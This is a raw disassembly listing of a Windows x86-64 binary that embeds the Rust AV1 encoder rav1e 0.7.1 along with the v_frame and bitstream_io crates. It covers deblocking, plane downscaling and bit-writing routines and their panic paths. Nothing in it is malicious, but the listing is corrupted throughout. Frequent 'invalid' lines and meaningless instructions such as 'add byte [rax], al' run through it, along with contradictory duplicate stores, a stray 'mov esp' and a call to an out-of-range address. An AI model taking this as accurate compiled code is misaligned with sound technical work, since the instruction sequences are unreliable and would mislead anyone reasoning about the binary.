lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd65
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd39
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd4f
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd65
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd7b
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd91
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd39
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd4f
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd65
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd7b
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd91
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bda7
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bdbd
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov ecx, 1
mov edx, 1
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov ecx, 2
mov edx, 2
add byte [rax], al
add al, ch
push rdx
mov cl, 0x13
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov ecx, 3
mov edx, 3
add al, ch
cmp al, 0xb1
adc eax, dword [rax]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov ecx, 4
mov edx, 4
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov ecx, 5
mov edx, 5
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
invalid
mov al, byte [r13 + 0x1b]
mov rbp, r15
mov ecx, esi
shr rbp, cl
shr ebp, cl
mov ecx, eax
call fcn.140086bfc
dec rax
test rax, rbp
je 0x14008bf57
add rsp, 0x138
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x1a0]
mov rsi, qword [rax]
mov rax, qword [rax + 8]
mov qword [rsp + 0x70], rax
mov rcx, rdi
mov rdx, r14
mov r8, r15
mov r9, rsi
call fcn.14008c88e
mov rbp, rax
movzx eax, byte [r13 + 0x17]
dec rax
test rax, r15
mov rdi, rax
mov byte [rsp + 0x20], 0
and al, 0x20
add byte [rax - 0x77], cl
invalid
mov rdx, r13
mov r8, rbp
mov r9, r12
call fcn.140086cf5
test rax, rax
je 0x14008bf43
mov rbx, rax
mov r8, qword [rsi + 0x20]
mov r9, qword [rsi + 0x28]
mov rcx, r14
mov rdx, r15
call fcn.14007df20
test rax, rax
mov r8, qword [rsp + 0x1a0]
js 0x14008c845
cmp rax, qword [r8 + 0x20]
ja 0x14008c845
mov rcx, rdi
shr rcx, 1
sub rdx, rcx
js 0x14008c85d
cmp rdx, qword [r8 + 0x28]
ja 0x14008c85d
or byte [r8], r8b
invalid
mov rcx, qword [rsi]
imul rcx, rdx
mov r9, qword [rsp + 0x70]
lea rcx, [r9 + rcx*2]
lea rbp, [rcx + rax*2]
mov rcx, qword [r8 + 0x10]
add rcx, rax
add rdx, qword [r8 + 0x18]
mov qword [rsp + 0x110], rbp
mov dword [rsp + 0x110], ebp
add byte [rax - 0x77], cl
mov ah, 0x24
or byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rdx
mov qword [rsp + 0x128], 4
mov qword [rsp + 0x130], rdi
lea rax, [rdi - 4]
ror rax, 1
ror eax, 1
cmp rax, 5
ja case.0x14008c090.3
mov r14, qword [rsp + 0x1b0]
lea rcx, [0x14028c008]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea r14, [rsp + 0x3c]
xor r15d, r15d
lea r12, [rsp + 0x38]
lea r13, [rsp + 0x80]
cmp r15, 4
je 0x14008bf43
cmp rdi, 1
je 0x14008c62c
cmp rdi, 2
jbe 0x14008c652
cmp rdi, 3
je 0x14008c63f
movzx eax, word [rbp + r15*2]
mov rcx, qword [rsi]
lea rdx, [rcx*2]
add byte [rax], al
add byte [rax + 1], cl
invalid
movzx edx, word [rdx + r15*2]
lea r8, [rcx*4]
add byte [rax], al
add r8, rbp
movzx r8d, word [r8 + r15*2]
add al, 0x78
imul rcx, rcx, 6
add rcx, rbp
movzx ecx, word [rcx + r15*2]
movzx ecx, word [rcx + rdi*2]
or al, 0x79
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x84], edx
mov dword [rsp + 0x88], r8d
mov dword [rsp + 0x8c], ecx
mov rcx, r12
mov rdx, r13
mov edx, ebp
mov r8, rbx
mov eax, ebx
mov r9, qword [rsp + 0x1b0]
call fcn.140087e02
cmp dword [rsp + 0x38], 0
je 0x14008c16e
movups xmm0, xmmword [r14]
movaps xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0x20], 4
lea rcx, [rsp + 0x108]
mov rdx, r15
xor r8d, r8d
lea r9, [rsp + 0xd0]
call fcn.14008c8ff
xchg ecx, eax
invalid
add byte [rax], al
inc r15
jmp 0x14008c0a7
xor r15d, r15d
lea r13, [rsp + 0x38]
cmp r15, 4
je 0x14008bf43
cmp rdi, 1
je 0x14008c6fd
cmp rdi, 2
jbe 0x14008c6ea
cmp rdi, 3
je 0x14008c710
cmp rdi, 4
jbe 0x14008c6d7
cmp rdi, 5
je 0x14008c723
cmp rdi, 6
jbe 0x14008c6c4
add byte [rax], al
cmp rdi, 7
je 0x14008c736
movzx eax, word [rbp + r15*2]
mov rcx, qword [rsi]
lea rdx, [rcx*2]
add rdx, rbp
movzx edx, word [rdx + r15*2]
lea r8, [rcx*4]
lea eax, [rcx*4]
add r8, rbp
movzx r8d, word [r8 + r15*2]
add al, 0x78
imul r9, rcx, 6
add r9, rbp
movzx r9d, word [r9 + r15*2]
lea r10, [rcx*8]
add r10, rbp
movzx r10d, word [r10 + r15*2]
imul r11, rcx, 0xa
add r11, rbp
movzx r11d, word [r11 + r15*2]
imul r12, rcx, 0xc
add r12, rbp
movzx r12d, word [r12 + r15*2]
imul rcx, rcx, 0xe
add rcx, rbp
movzx ecx, word [rcx + r15*2]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x3c], edx
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x44], r9d
mov dword [rsp + 0x48], r10d
mov dword [rsp + 0x48], edx
mov dword [rsp + 0x4c], r11d
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], ecx
lea rcx, [rsp + 0xd0]
mov rdx, r13
mov edx, ebp
mov r8, rbx
mov r9, r14
call fcn.140087935
cmp dword [rsp + 0xd0], 0
rol byte [rax], 1
add byte [rax], al
invalid
je 0x14008c2c2
lea rcx, [rsp + 0xd4]
mov rax, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x80], xmm0
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
invalid
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x108]
mov rdx, r15
lea r9, [rsp + 0x80]
and al, 0x80
add byte [rax], 0
add al, ch
invalid
invalid
add byte [rax], al
inc r15
jmp 0x14008c17e
xor r15d, r15d
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xb8], rbx
cmp r15, 4
je 0x14008bf43
cmp rdi, 1
je 0x14008c7b5
cmp rdi, 2
jbe 0x14008c749
cmp rdi, 3
je 0x14008c7d5
cmp rdi, 4
jbe 0x14008c805
cmp rdi, 5
je case.0x1400831b0.35
cmp rdi, 6
jbe 0x14008c7e5
cmp rdi, 7
je 0x14008c815
cmp rdi, 8
jbe 0x14008c7c5
cmp rdi, 9
je 0x14008c75c
cmp rdi, 0xa
jbe 0x14008c7a5
cmp rdi, 0xb
je 0x14008c76f
cmp rdi, 0xc
jbe 0x14008c795
cmp rdi, 0xd
je 0x14008c782
movzx eax, word [rbp + r15*2]
mov dword [rsp + 0x70], eax
mov r12, qword [rsi]
lea rcx, [r12*2]
add rcx, rbp
movzx eax, word [rcx + r15*2]
mov dword [rsp + 0x7c], eax
lea rdx, [r12*4]
add rdx, rbp
movzx edx, word [rdx + r15*2]
imul r8, r12, 6
add r8, rbp
call 0x144bfd2f4
movzx r8d, word [r8 + r15*2]
lea r9, [r12*8]
add r9, rbp
movzx r9d, word [r9 + r15*2]
imul r10, r12, 0xa
add r10, rbp
movzx r10d, word [r10 + r15*2]
adc al, 0x7a
imul r11, r12, 0xc
add r11, rbp
movzx r11d, word [r11 + r15*2]
imul r13, r12, 0xe
add r13, rbp
movzx r13d, word [r13 + r15*2]
imul r14, r12, 0x12
imul rbx, r12, 0x14
imul rsi, r12, 0x16
imul rax, r12, 0x18
imul rdi, r12, 0x1a
shl r12, 4
add r12, rbp
movzx r12d, word [r12 + r15*2]
mov bh, 0x24
jl 0x14008c44d
add esi, ebp
movzx r14d, word [r14 + r15*2]
add rbx, rbp
movzx ebx, word [rbx + r15*2]
add rsi, rbp
movzx esi, word [rsi + r15*2]
add rax, rbp
movzx eax, word [rax + r15*2]
add rdi, rbp
movzx edi, word [rdi + r15*2]
mov ecx, dword [rsp + 0x70]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0x7c]
and al, 0x7c
mov dword [rsp + 0x3c], ecx
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x44], r8d
mov dword [rsp + 0x48], r9d
mov dword [rsp + 0x4c], r10d
mov dword [rsp + 0x50], r11d
mov dword [rsp + 0x54], r13d
mov dword [rsp + 0x58], r12d
mov dword [rsp + 0x5c], r14d
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x64], esi
mov dword [rsp + 0x68], eax
push 0x6c247c89
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x38]
mov r8, qword [rsp + 0xb8]
mov r9, qword [rsp + 0x1b0]
mov ecx, dword [rsp + 0x1b0]
call fcn.140086d3f
cmp dword [rsp + 0xd0], 0
mov esp, 0xd024
add byte [rax], al
je 0x14008c4f0
lea rax, [rsp + 0xd4]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x20], 0xc
mov r8d, 1
lea rcx, [rsp + 0x108]
mov rdx, r15
lea r9, [rsp + 0x80]
call fcn.14008c8ff
inc r15
mov rsi, qword [rsp + 0xc8]
mov rdi, qword [rsp + 0xc0]
jmp 0x14008c2e5
xor r15d, r15d
lea r12, [rsp + 0xd0]
lea r13, [rsp + 0x38]
cmp r15, 4
je 0x14008bf43
cmp rdi, 1
je 0x14008c678
cmp rdi, 2
jbe 0x14008c665
cmp rdi, 3
je 0x14008c68b
cmp rdi, 4
jbe 0x14008c6b1
cmp rdi, 5
je 0x14008c69e
movzx eax, word [rbp + r15*2]
mov rcx, qword [rsi]
lea rdx, [rcx*2]
add rdx, rbp
movzx edx, word [rdx + r15*2]
lea r8, [rcx*4]
add r8, rbp
movzx r8d, word [r8 + r15*2]
imul r9, rcx, 6
add r9, rbp
movzx r9d, word [r9 + r15*2]
lea r10, [rcx*8]
add r10, rbp
movzx r10d, word [r10 + r15*2]
imul rcx, rcx, 0xa
add rcx, rbp
movzx ecx, word [rcx + r15*2]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x3c], edx
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x44], r9d
mov dword [rsp + 0x48], r10d
mov dword [rsp + 0x4c], ecx
mov rcx, r12
mov rdx, r13
mov r8, rbx
mov r9, r14
call fcn.140087b87
cmp dword [rsp + 0xd0], 0
je 0x14008c615
lea rax, [rsp + 0xd4]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x20], 4
mov r8d, 1
lea rcx, [rsp + 0x108]
mov rdx, r15
lea r9, [rsp + 0x80]
call fcn.14008c8ff
inc r15
jmp 0x14008c518
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
jb 0x14008c6b0
add byte [rax], al
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
invalid
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
add byte [rax], al
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008c823
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x2a
call fcn.1401c6f30
lea rcx, str.assertion_failed:_index___self.rowsassertion_failed:_index___self.rect.heightC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_arrayvec_0.7.4_src_arrayvec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tiler.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x23
call fcn.1401c6f30
lea rcx, [0x140241cf6]
lea r8, [0x140241d98]
mov edx, 0x43
call fcn.1401c6f30
lea rcx, [0x140241d39]
lea r8, str.e__
mov edx, 0x44
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x28
call fcn.1401c6f30
int3
ret
ret
test rbx, rbx
je 0x14009efd0
dec rbx
mov qword [rbp + 0x38], rbx
lea rcx, [rbp + 0x18]
call fcn.14009f554
mov rdi, rax
test rax, rax
je 0x14009efd0
mov r13, rdx
mov rbx, qword [rbp + 0x30]
lea rax, [rbx + 1]
mov qword [rbp + 0x30], rax
mov rcx, qword [rbp + 0x40]
imul rcx, rbx
mov rdx, qword [rbp + 0x60]
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_v_frame_0.3.8_srcplane.rs
call fcn.14001ca54
cmp r14, rdx
ja 0x14009f014
mov rsi, rax
lea rcx, [rbx*2 + 1]
imul rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
push rbp
invalid
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_v_frame_0.3.8_srcplane.rs
call fcn.14001ca54
idiv edi
cmp r14, rdx
ja 0x14009f003
add byte [rax], al
mov rbx, rax
mov rcx, r14
push 2
pop rdx
call fcn.14001f4b4
mov r15, rax
mov rcx, r14
push 2
pop rdx
call fcn.14001f4b4
cmp r13, r15
cmovb r15, r13
cmp r15, rax
cmovae r15, rax
xor eax, eax
cmp r15, rax
je 0x14009efc7
movzx ecx, byte [rsi + rax*2]
movzx edx, byte [rsi + rax*2 + 1]
add edx, ecx
movzx ecx, byte [rbx + rax*2]
add ecx, edx
movzx edx, byte [rbx + rax*2 + 1]
add ecx, edx
add ecx, 2
shr ecx, 2
mov byte [rdi + rax], cl
inc rax
jmp 0x14009ef9c
mov rbx, qword [rbp + 0x38]
jmp 0x14009eeec
lea rcx, [rbp - 0x48]
mov rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x50]
call fcn.140096da7
push 0xc
or al, 0x59
lea rsi, [rbp - 0x48]
mov rdi, qword [rbp + 0x48]
rep movsq qword [rdi], qword [rsi]
add rsp, 0xf8
invalid
clc
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_v_frame_0.3.8_srcplane.rs
mov rcx, r14
call fcn.1401c6f20
add bl, ch
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_v_frame_0.3.8_srcplane.rs
mov rcx, r14
call fcn.1401c6f20
jmp 0x14009f053
ud2
mov eax, 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rax
jmp 0x14009f468
xorps xmm0, xmm0
movups xmmword [rcx + 8], xmm0
jmp 0x14009f463
xor eax, eax
jmp 0x14009f468
mov qword [rcx + 8], 1
and qword [rcx + 0x10], 0
mov eax, 1
mov qword [rcx], rax
ret
mov ebx, 0x20
mov r15d, 4
mov r14, r8
jmp 0x1400b2065
lea r8, [rsp + 0x30]
and qword [r8], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bitstream_io_2.2.0_srcwrite.rs
mov qword [rsp + 0x20], rax
xor r12d, r12d
mov r9d, 8
xor ecx, ecx
mov rdx, r15
call fcn.140085969
cmp rdx, r12
je 0x1400b20cd
cmp ebx, 7
jbe 0x1400b2105
cmp ebx, 8
jne 0x1400b20a3
xor r8d, r8d
xor ebx, ebx
jmp 0x1400b20c1
add ebx, 0xfffffff8
mov r9, r14
mov ecx, ebx
shr r9, cl
mov r8, 0xffffffffffffffff
shl r8, cl
not r8
and r8, r14
mov r14, r9
mov byte [rax + r12], r14b
inc r12
mov r14, r8
jmp 0x1400b208d
mov rcx, qword [rdi]
lea rdx, [rsp + 0x30]
mov r8, r15
call fcn.140070ee6
mov eax, 8
sub eax, dword [rsi]
cmp eax, ebx
jb 0x1400b211d
mov rcx, rsi
mov edx, ebx
mov r8d, r14d
call fcn.140070f29
xor eax, eax
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [0x14023dc69]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bitstream_io_2.2.0_srclib.rsassertion_failed:_bits___self.len__
mov edx, 0x24
call fcn.1401c6f30
lea rcx, str.assertion_failed:_bits___self.remaining_len__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bitstream_io_2.2.0_srclib.rsassertion_failed:_bits___self.len__
mov edx, 0x2e
call fcn.1401c6f30
int3
test r12d, r12d
jne 0x1400b238a
mov r8d, dword [rdi + 0x224]
mov rcx, rsi
mov edx, 2
call fcn.1400b16ca
test rax, rax
jne 0x1400b233f
jmp 0x1400b2333
mov rcx, rsi
mov dl, 1
call fcn.140070f72
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.assertion_failed:_seq.chroma_sampling__ChromaSampling::Cs420
lea r8, [0x14023cd98]
jmp 0x1400b23a8
mov edx, 0x3e
call fcn.1401c6f30
int3
lea rax, [0x14028c030]
movsxd rcx, dword [rax + r12*4]
add rcx, rax
jmp rcx
lea rcx, [rbp + 0x2b00]
lea r8, [rbp - 0x40]
push 8
pop r9
mov rdx, qword [rbp + 0x3678]
call fcn.1400f48d1
jmp 0x1400b4914
mov r14, qword [r15 + 0x2b0]
xor r12d, r12d
cmp dword [r14 + 0x230], 3
setne r13b
mov rdx, qword [r15 + 0x260]
mov r8, qword [r15 + 0x268]
lea rcx, [rbp + 0x3560]
call fcn.140076be8
mov r15, qword [rbp + 0x3678]
mov ecx, dword [r15 + 0x2d8]
cmp rcx, 7
mov rsi, qword [rbp + 0x3698]
je 0x1400b2a8a
cmp ecx, 6
ja 0x1400b4a8f
movzx ecx, byte [r15 + rcx + 0x2f4]
cmp rcx, 8
jae 0x1400b4aa3
mov rdx, qword [r15 + rcx*8 + 0xa0]
test rdx, rdx
je 0x1400b2a8a
add rdx, 0x130
lea rcx, [rbp - 0x40]
mov r8d, 0x2b34
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400b2a9a
mov dl, byte [r15 + 0x2fb]
lea rcx, [rbp - 0x40]
call fcn.140073da9
mov r8, qword [r14 + 0x198]
imul r8, qword [r14 + 0x190]
lea rcx, [rbp + 0x34a0]
lea rdx, [rbp - 0x40]
call fcn.1400b6ff8
lea rdx, [r14 + 0x170]
lea rcx, [rbp + 0x2e50]
lea r9, [rbp + 0x3560]
mov r8, rsi
call fcn.14009af81
mov rdi, qword [rbp + 0x34a8]
imul rbx, qword [rbp + 0x34b0], 0x2b34
add rbx, rdi
lea rsi, [rbp + 0x33f0]
lea rdx, [rbp + 0x2e50]
mov r8d, 0x98
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
and qword [rsi - 8], 0
movups xmmword [rsi - 0x18], xmm0
mov qword [rsi - 0x28], rdi
mov qword [rsi - 0x20], rbx
mov byte [rbp + 0x36a4], 1
lea rcx, [rbp + 0x2b00]
lea rdx, [rbp + 0x33c8]
call fcn.1400e99b0
push 3
pop rdi
push 8
pop rsi
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x2b00], rax
mov qword [rbp + 0x35e8], r14
jne 0x1400b2b76
mov rcx, qword [rbp + 0x3478]
mov dl, byte [rbp + 0x3480]
call fcn.14009d783
xor ebx, ebx
mov r14, rsi
mov rdx, rsi
xor esi, esi
jmp 0x1400b2dd8
mov byte [rbp + 0x3688], r13b
lea rcx, [rbp + 0x2e50]
lea rdx, [rbp + 0x2b00]
mov r8d, 0x348
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rbp + 0x3418]
imul rsi, qword [rbp + 0x3410]
sub rsi, qword [rbp + 0x3470]
mov rax, qword [rbp + 0x33d0]
sub rax, qword [rbp + 0x33c8]
mov ecx, 0x2b34
xor edx, edx
div rcx
cmp rsi, rax
cmovae rsi, rax
cmp rsi, 4
cmovb rsi, rdi
inc rsi
imul rdi, rsi, 0x348
push 8
pop rcx
mov rdx, rdi
call fcn.14007db50
test rax, rax
je 0x1400b4cd0
mov r14, rax
push 1
pop rbx
lea r12, [rbp + 0x2e50]
mov r8d, 0x348
mov rcx, rax
mov rdx, r12
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x3648], rsi
mov qword [rbp + 0x3650], r14
mov qword [rbp + 0x3658], 1
lea rcx, [rbp + 0x31b8]
lea rdx, [rbp + 0x33c8]
mov r8d, 0xc0
call sub.VCRUNTIME140.dll_memcpy
lea r13, [rbp + 0x2b00]
xor eax, eax
mov qword [rbp + 0x3680], rax
mov r15, rsi
mov rcx, r13
lea rdx, [rbp + 0x31b8]
call fcn.1400e99b0
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x2b00], rax
je 0x1400b2db2
mov r8d, 0x348
mov rcx, r12
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
cmp rbx, r15
jne 0x1400b2cdc
mov rax, qword [rbp + 0x31c0]
mov rcx, qword [rbp + 0x3208]
imul rcx, qword [rbp + 0x3200]
sub rcx, qword [rbp + 0x3260]
sub rax, qword [rbp + 0x31b8]
xor edx, edx
mov r8d, 0x2b34
div r8
cmp rcx, rax
cmovae rcx, rax
mov rax, rsi
sub rax, r15
cmp rax, rcx
jbe 0x1400b2ce4
mov rdi, rsi
mov r15, rsi
jmp 0x1400b2d88
mov rdi, rsi
jmp 0x1400b2d88
inc rcx
add r15, rcx
jb 0x1400b4bbe
lea rax, [rsi + rsi]
cmp rax, r15
cmova r15, rax
xor edx, edx
movabs rax, 0x27027027027028
cmp r15, rax
setb al
cmp r15, 5
mov rdi, r15
push 4
pop rcx
cmovb rdi, rcx
test rsi, rsi
je 0x1400b2d3a
imul rcx, rsi, 0x348
mov qword [rbp + 0x3610], r14
